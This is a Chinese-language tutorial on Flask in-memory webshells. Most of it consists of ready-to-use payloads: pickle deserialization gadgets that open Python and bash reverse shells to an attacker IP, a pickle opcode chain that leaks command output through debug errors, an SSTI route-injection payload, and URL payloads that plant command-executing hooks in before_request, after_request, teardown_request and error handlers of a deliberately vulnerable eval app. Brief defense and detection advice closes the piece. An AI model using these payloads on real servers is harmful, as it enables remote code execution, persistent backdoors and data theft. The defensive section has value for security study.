无回显不出网:debug报错到新版Flask内存马
字数 928 2025-08-03 16:44:15

Flask内存马技术深度解析

一、基础概念

Flask内存马是一种在Flask应用中动态注入恶意路由或处理函数的技术,无需写入文件即可实现持久化控制。根据网络环境和调试模式的不同,攻击者可以采用多种技术手段。

二、不同场景下的攻击技术

1. 无回显但出网环境

反弹Shell技术

Python反弹Shell实现:

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a="""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

简化版反弹Shell:

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a='__import__(\"os\").popen(\'bash -c \"bash -i >& /dev/tcp/攻击者IP/2333 0>&1\"\').read()'
        return (eval,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

2. 不出网但Debug模式

利用Flask的Debug模式,通过报错信息带出命令执行结果:

from urllib.parse import quote

exc = "raise Exception(__import__('os').popen('whoami').read())"

opcode = f'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec("{exc}")'
lo.'''
print(quote(opcode))

3. 不出网且非Debug模式

环境准备

from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World'

@app.route('/test',methods=['GET', 'POST'])
def test():
    eval(request.args.get('cmd'))
    return "ook"

if __name__ == '__main__':
    app.run()

三、Flask内存马技术详解

1. 旧版本内存马技术

{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

2. 新版本绕过技术

@app.before_request

技术原理

  • before_request装饰器用于在请求处理前执行特定函数
  • 底层实现:self.before_request_funcs.setdefault(None, []).append(f)

Payload

http://127.0.0.1:5000/test?cmd=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('mixian')).read())

@app.after_request

技术原理

  • 在请求后执行注册的函数
  • 可以构造全局变量,利用make_response创建响应

Payload

http://127.0.0.1:5000/test?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)

@teardown_request

技术原理

  • 在每次请求后执行,接受一个错误信息参数
  • 底层实现与after_request类似

Payload

http://127.0.0.1:5000/test?cmd=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').system('dir').read())

@errorhandler

技术原理

  • 通过register_error_handler注册错误处理函数
  • 可以绕过检查直接覆盖_get_exc_class_and_codeerror_handler_spec

Payload

http://127.0.0.1:5000/test?cmd=exec("global%20exe_class;global%20code;exc_class,%20code%20=%20app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]%20=%20lambda:__import__(%27os%27).popen(%27dir%27).read()")

四、防御建议

  1. 禁用Flask的Debug模式在生产环境
  2. 对用户输入进行严格过滤和验证
  3. 限制eval等危险函数的使用
  4. 定期检查应用的路由和处理器列表
  5. 使用最新版本的Flask框架
  6. 实施最小权限原则,限制应用运行权限

五、检测方法

  1. 检查before_request_funcsafter_request_funcs等列表中的可疑函数
  2. 监控异常的错误处理器注册
  3. 审计所有动态添加的路由规则
  4. 检查是否有异常的全局变量设置

以上技术仅供安全研究和防御参考,请勿用于非法用途。

Flask内存马技术深度解析 一、基础概念 Flask内存马是一种在Flask应用中动态注入恶意路由或处理函数的技术,无需写入文件即可实现持久化控制。根据网络环境和调试模式的不同,攻击者可以采用多种技术手段。 二、不同场景下的攻击技术 1. 无回显但出网环境 反弹Shell技术 Python反弹Shell实现: 简化版反弹Shell: 2. 不出网但Debug模式 利用Flask的Debug模式,通过报错信息带出命令执行结果: 3. 不出网且非Debug模式 环境准备 三、Flask内存马技术详解 1. 旧版本内存马技术 2. 新版本绕过技术 @app.before_ request 技术原理 : before_request 装饰器用于在请求处理前执行特定函数 底层实现: self.before_request_funcs.setdefault(None, []).append(f) Payload : @app.after_ request 技术原理 : 在请求后执行注册的函数 可以构造全局变量,利用 make_response 创建响应 Payload : @teardown_ request 技术原理 : 在每次请求后执行,接受一个错误信息参数 底层实现与 after_request 类似 Payload : @errorhandler 技术原理 : 通过 register_error_handler 注册错误处理函数 可以绕过检查直接覆盖 _get_exc_class_and_code 和 error_handler_spec Payload : 四、防御建议 禁用Flask的Debug模式在生产环境 对用户输入进行严格过滤和验证 限制eval等危险函数的使用 定期检查应用的路由和处理器列表 使用最新版本的Flask框架 实施最小权限原则,限制应用运行权限 五、检测方法 检查 before_request_funcs 、 after_request_funcs 等列表中的可疑函数 监控异常的错误处理器注册 审计所有动态添加的路由规则 检查是否有异常的全局变量设置 以上技术仅供安全研究和防御参考,请勿用于非法用途。